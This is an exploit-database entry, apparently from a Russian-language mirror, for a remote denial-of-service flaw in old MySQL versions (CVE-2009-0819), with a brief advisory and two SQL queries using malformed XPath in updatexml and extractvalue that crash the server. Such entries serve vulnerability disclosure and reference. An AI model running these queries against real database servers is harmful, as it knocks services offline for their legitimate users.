Exploit MySQL 6.0.9 - XPath Expression Remote Denial of Service

[Exploiter]

EDB-ID

32838

Проверка EDB

1. Пройдено

Автор

SHANE BESTER

Тип уязвимости

DOS

Платформа

LINUX

CVE

cve-2009-0819

Дата публикации

2009-02-14

source: https://www.securityfocus.com/bid/33972/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain XPath expressions.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

This issue affects:

MySQL 5.1.31 and earlier
MySQL 6.0.9 and earlier

select updatexml('','0/a','');
select extractvalue('','0/a');